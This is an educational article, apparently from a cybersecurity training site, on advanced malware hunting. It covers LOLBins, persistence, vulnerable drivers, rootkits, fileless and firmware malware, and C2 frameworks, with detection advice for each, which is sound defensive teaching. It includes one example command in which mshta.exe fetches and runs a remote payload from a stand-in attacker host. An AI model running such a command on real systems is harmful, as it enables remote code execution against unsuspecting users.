Skip to main content

Malware Hunting - Advanced

Author(s): a_person, Carbonice, Donkey (d0nkeyman), sv_du (sv-du)

Last Updated: 11-27-2025

Recommended Prerequisites (click to expand)

Malware Hunting - Beginner

Note​

This article is structured like so:

  1. What is it?
  2. Why is it hard to detect?
  3. Example
  4. Mitigation/Detection

LOLBinaries​

LOL in this case stands for "Living Off the Land." These are pre-existing legitimate tools/binaries, typically trusted and signed, that are abused to do malicious activity. Doing this blends in with normal system activity, which can reduce the likelihood of being detected.

The main reason why it is hard to detect these is because of the leveraging of normal tools.

An example of malware using LOLBins is the use of regsvr32.exe to execute a malicious script/payload without dropping an actual executable file to disk. This technique is often used in fileless malware attacks.

mshta.exe "http://attacker.com/skibidipayload.hta"

In this example:

Modern EDRs (Endpoint Detection and Response) and AVs (Antivirus) thankfully can detect this. They typically use behavioral analysis along with Security Information and Event Management and User and Entity Behavior Analytics. AppLocker and Windows Defender Application Control can be used by Windows Defender to restrict LOLBins.

Source Code Files​

Yes, you read that right. Source code files (most commonly Python) are often used because they can easily be obfuscated and are not detected by AVs.

These are difficult to detect because on their own they are harmless-- running them with an appropriate application is what triggers the malware. Furthermore, AVs that use dynamic analysis may set up environments without the necessary applications and/or dependencies installed. This makes AVs start to rely more on hashes, which can be easily changed by adding/deleting comments or obfuscating the code.

Here are some examples of CVE PoCs written in Python, but do keep in mind that Python is not the only language that these PoCs can be written in.

The main solution to this is just to simply use Everything and search for source code extensions (.py, .cs, etc). Additionally, if the applications needed to run these applications are not needed, uninstall them.

Persistence Mechanisms​

Persistence, are well, persistent. They are mainly for an attacker/red teamer to maintain access to a machine. This is usually done by making a script/binary execute on startup or when an event happens.

Some persistence mechanisms are very easy to detect because they follow the MITRE ATT&CK framework and show up in Autoruns. However, Autoruns is not able to detect some new persistence methods as it gets outdated. Also, in very rare instances, not all persistence mechanisms are covered in the MITRE ATT&CK framework, meaning some custom persistence methods might not be visible through either MITRE ATT&CK mappings or traditional detection tools. Also, the amount of false positives coming out of Autoruns is significantly increasing. For example, the Discord updater is incorrectly marked.

An example of Autoruns caught lacking is the Phantom Persistence which is currently undetected when this was written (07/01/25). This was however mapped to the MITRE Framework a couple months before.

The best way to deal with this is through monitoring Event logs. PersistenceSniper may also occasionally detect persistences that Autoruns does not. Sysmon may help in finding these, as it can find key Event IDs.

Here are some other ways persistence can be achieved: https://persistence-info.github.io/

Vulnerable Drivers​

Vulnerable drivers represent a significant threat as they operate with high privileges (kernel), allowing attackers to gain complete control of a system. A common technique is the "Bring Your Own Vulnerable Driver" (BYOVD) attack, where a legitimate, signed, but vulnerable driver is installed to bypass security controls and load malicious code. For example, malware has been observed exploiting a legitimate Avast anti-rootkit driver to disable security software.

These drivers are hard to find because they are often signed by trusted vendors, allowing them to appear authentic. Attackers can also use many variants of the same vulnerable driver to evade signature-based detection. This is also because of the slow rollouts of block lists. VT also shows that not many vendors/no venders detect vulnerable drivers.

Examples of this include RTCore64.sys and wsftprm.sys. These drivers are both vulnerable, both have CVEs, and are both not detected as much as they should be.

There are some tools that use the loldrivers data base, such as https://github.com/isiddique2024/Vulnerable-Driver-Scanner, and you can ultimately make your own. The driverquery command shows a list of drivers and can be compared with vulnerable drivers. Again, Sysmon can also detect driver loaded events.

Most drivers are often also registered services, so in your quest for finding vulnerable drivers you may find some use in viewing the installed services on the system. Additionally, most driver files are located in C:\Windows\System32\drivers, and a baseline can be used to find files that do not belong. Autoruns is also able to detect drivers, but it does not highlight vulnerable signed drivers, because they are signed. Therefore, it is important to create a baseline on a hardened vanilla machine before using Autoruns.

Rootkits​

Rootkits are a type of malware designed to conceal their presence. They are typically used to escalate privileges, hide files and processes, remotely execute files, act as backdoors, and monitor user activity. There are two types of rootkits: user-mode and kernel-mode. User-mode rootkits are easier to detect because they operate only at the application layer. Kernel-mode rootkits operate at the kernel level, which makes them much harder to detect.

Rootkits are difficult to detect, especially kernel-mode rootkits. Because these rootkits have the highest privileges, they can easily bypass or disable security software. They can also intercept API calls and modify them to hide their presence. In some cases, rootkits may even disable system logging or tamper with forensic tools to avoid detection.

A recent example of this is the Demodex rootkit, which you can read more about here: https://www.sygnia.co/blog/ghost-emperor-demodex-rootkit/

Detecting rootkits is difficult without proper tooling. Scanners like GMER, Malwarebytes' Anti-Rootkit scanner, Avast's Rootkit Scanner and Removal Tool, and Rootkit Revealer(although a bit outdated), are designed to look for the discrepancies and hidden artifacts that rootkits create.

Fileless Malware​

Fileless malware is a type of attack that operates in a computer's memory, without writing any executable files to the disk. This approach allows it to evade file-based detection. These attacks often leverage legitimate and trusted system tools(LOLbins), such as PowerShell or Windows Management Instrumentation to execute malicious code directly in memory.

Fileless malware is hard to find, especially after a restart. It also uses LOLBins, which blend in with normal system activity, making malicious actions appear routine. Traditional antivirus solutions primarily focus on scanning files stored on disk, which means fileless attacks can easily evade detection.

An example of this is the Emotet Malware. Emotet has been known to use WMI to execute PowerShell commands and launch powershell.exe without dropping files onto the disk, allowing it to evade many security tools. The Emotet also abused several other tactics. You can read more here https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-280a .

Application control can be used to prevent the misuse of LOLBins by enforcing constraints on their capabilities. A Host-Based Intrusion Prevention System (HIPS) can block suspicious in-memory activities. EDR solutions are also helpful in both detection and response, allowing analysts to terminate malicious processes and clean up changes made in memory or the registry.

Firmware Malware​

Firstly, firmware is software that provides low-level control of computing device hardware. Firmware malware is malicious software that infects a device’s firmware, obviously. This is kinda seperate as most of the stuff mentioned in the article previously works at a higher level and works on the operating system layer.

Firmware malware infects and modifies the firmware stored on your device's motherboard and other components, like network cards and storage drives. First of all, most OS security tools will not be able to detect it because it is at the not as low level. This malware is also persistent beyond just reinstalling the OS or disk wipes. There is also a lack of auditing at the firmware level.

Firmware malware is a really big threat because it works below the OS and typical security software and runs before the OS starts. This obviously makes it very hard to detect. Also, the malware can mostly survive OS reinstallation, factory resets, or disk wipes. This is all why this type of malware is extremely dangerous.

The Windows Platform Binary Table (WPBT) is a feature introduced in Windows 8 that lets manufacturers run a program every time the system starts. Although it is intended for legitimate purposes, security researchers found that weaknesses in how it works could be exploited by attackers to install persistent malware similar to rootkits. Eclypsium's WPBT Exploit Demonstration demonstrates how attackers could exploit WPBT to install a rootkit on Windows systems. Another example is the BlackLotus malware which was extreemly bad and I suggest that you look into it if you have an interest in it.

There's not much to be done besides typical security to reduce risks. Make sure to keep the firmware updated to ensure that vulnerabilities are patched, auditing firmware, and use hardware-backed security (like secure boot, tpm, firmware right protections, and firmware integrity features like HP Sure Start).

Post-Exploitation Frameworks and C2s​

Post-exploitation frameworks are toolkits used by attackers after they have gained initial access to a system. These frameworks usually provide a Command and Control (C2 or C&C) server that allows an attacker to manage implants on compromised machines, enabling actions such as lateral movement, privilege escalation, and data exfiltration. Well-known examples include Cobalt Strike, Sliver, and Metasploit.

These frameworks are hard to detect because they aim to bypass security measures. Typically, post-exploitation frameworks escalate privileges. With this, the attacker can disable or blind security tools like antivirus and EDR solutions, as well as have rootkit like capabilities. They are sometimes fileless, using LOLBins or running things in memory, which poses the same issue as before. The framework's implants, or "beacons," often run completely in memory to avoid file-based scanners. Meanwhile, highly customizable C2 profiles enable their network traffic to imitate legitimate services, allowing them to blend in with regular network activity.

A very well known example is an attacker using Cobalt Strike's beacon, which injects into LOLBins. The beacon then communicates with the C2 server using a Malleable C2 profile configured to look like normal web traffic, requesting commands and sending back data at regular, "jittered" intervals to avoid detection by network monitoring tools.

Detecting these frameworks requires multiple security measures. Network traffic analysis can identify beaconing behavior through patterns in connection frequency, data size, and domain reputation, even when the traffic is encrypted. Advanced EDR solutions are important for detecting behavioral indicators of a C2, such as suspicious process injection, parent-child process anomalies, and in-memory execution. Proactive threat hunting using YARA rules (a pattern-matching engine) to scan memory and processes for known C2 framework artifacts. It can also detect hidden implants.

References, Further Reading, & Tools Mentioned​